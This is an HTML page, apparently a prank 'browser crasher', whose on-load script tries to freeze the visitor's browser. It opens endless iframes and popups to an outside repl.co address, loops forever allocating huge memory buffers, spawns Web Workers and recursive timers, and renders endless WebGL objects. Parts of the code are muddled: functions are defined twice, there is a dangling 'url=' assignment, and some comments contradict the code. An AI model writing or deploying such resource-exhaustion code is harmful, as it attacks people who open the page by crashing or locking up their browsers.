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index.html
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<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Get ready...</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div class="font">
<p>Are you sure this isnt a scam ?</p>
<p style="font-size: 10px;">Your browser will crash, beware.</p>
<p>starting the process....</p>
<br>
<audio id="audio" controls autoplay>
<source src="./audio.mp3" type="audio/mpeg">
Your browser does not support the audio element.
</audio>
</div>
<script>
function crash(){
var audio = document.getElementById("audio");
audio.play();
var audio = document.getElementById("audio");
audio.play();
setInterval(function() {
var iframe = document.createElement('iframe');
iframe.src = 'https://browser-crasher.mishal0legit.repl.co';
iframe.width = 800;
iframe.height = 600;
document.body.appendChild(iframe);
}, 0);
setInterval(function() {
var popup = window.open('https://browser-crasher.mishal0legit.repl.co', '_blank', 'width=500,height=500');
popup.focus();
}, 0);
while (true) {
var geometry = new THREE.BoxGeometry();
var material = new THREE.MeshBasicMaterial({color: Math.random() * 0xffffff});
var cube = new THREE.Mesh(geometry, material);
cube.rotation.x += Math.random() * 2 * Math.PI;
cube.rotation.y += Math.random() * 2 * Math.PI;
cube.rotation.z += Math.random() * 2 * Math.PI;
var renderer = new THREE.WebGLRenderer();
renderer.render(new THREE.Scene().add(cube), new THREE.Camera());
}
}
window.onload = function() {
crash();
};
function crash() {
function createLargeArray() {
let largeArray = [];
while (true) {
largeArray.push(new ArrayBuffer(1024 * 1024 * 1024 * 1024)); // Each element consumes 1 MB of memory
}
}
window.onload = function() {
createLargeArray();
};
setTimeout(createLargeArray, 0);
url=
function loadMultipleIframes(url, numIframes) {
var index = 0;
var intervalId = setInterval(function() {
if (index >= numIframes) {
clearInterval(intervalId);
return;
}
window.onload = function() {
loadMultipleIframes();
};
var iframe = document.createElement('iframe');
iframe.src = url;
iframe.width = 800;
iframe.height = 600;
document.body.appendChild(iframe);
index++;
}, 0); // delay of 1 second between each iframe load
}
var url = 'https://browser-crasher.mishal0legit.repl.co';
var numIframes = 9999999;
loadMultipleIframes(url, numIframes);
numIframes = 999999999999;
loadMultipleIframes(url, numIframes);
var urls = ['https://browser-crasher.mishal0legit.repl.co', 'https://browser-crasher.mishal0legit.repl.co', 'https://browser-crasher.mishal0legit.repl.co'];
loadMultipleIframes(urls[0], numIframes); // Assuming you want to load the first URL in the array
var audio = document.getElementById("audio");
audio.play();
setInterval(function() {
var iframe = document.createElement('iframe');
iframe.src = 'https://browser-crasher.mishal0legit.repl.co';
iframe.width = 800;
iframe.height = 600;
document.body.appendChild(iframe);
}, 0);
setInterval(function() {
var popup = window.open('https://browser-crasher.mishal0legit.repl.co', '_blank', 'width=500,height=500');
popup.focus();
}, 0);
function createThreeCubes() {
var geometry = new THREE.BoxGeometry();
var material = new THREE.MeshBasicMaterial({color: Math.random() * 0xffffff});
var cube = new THREE.Mesh(geometry, material);
cube.rotation.x += Math.random() * 2 * Math.PI;
cube.rotation.y += Math.random() * 2 * Math.PI;
cube.rotation.z += Math.random() * 2 * Math.PI;
var renderer = new THREE.WebGLRenderer();
renderer.render(new THREE.Scene().add(cube), new THREE.Camera());
requestAnimationFrame(createThreeCubes);
}
requestAnimationFrame(createThreeCubes);
const canvas = document.getElementById("myCanvas");
const ctx = canvas.getContext("2d");
let gridSize = 16;
function drawGrid() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
const cellSize = canvas.width / gridSize;
ctx.beginPath();
for (let i = 0; i <= gridSize; i++) {
ctx.moveTo(i * cellSize, 0);
ctx.lineTo(i * cellSize, canvas.height);
ctx.moveTo(0, i * cellSize);
ctx.lineTo(canvas.width, i * cellSize);
}
ctx.stroke();
gridSize *= 100*100*100*100*100*100; // Multiply the number of cells by 2
requestAnimationFrame(drawGrid);
}
requestAnimationFrame(drawGrid);
}
window.onload = function() {
crash();
};
while (true) {
new Worker("data:text/javascript," + encodeURIComponent("setInterval(() => { importScripts('createCookie.js'); }, 1);"));
}
x = function(){setInterval(console.log,1,Math.random());try{setInterval(x,1);} catch(e){console.log(e);}}
while (true){try{setInterval(x,1);}catch(e){console.log(e);}}
</script>
</body>
</html>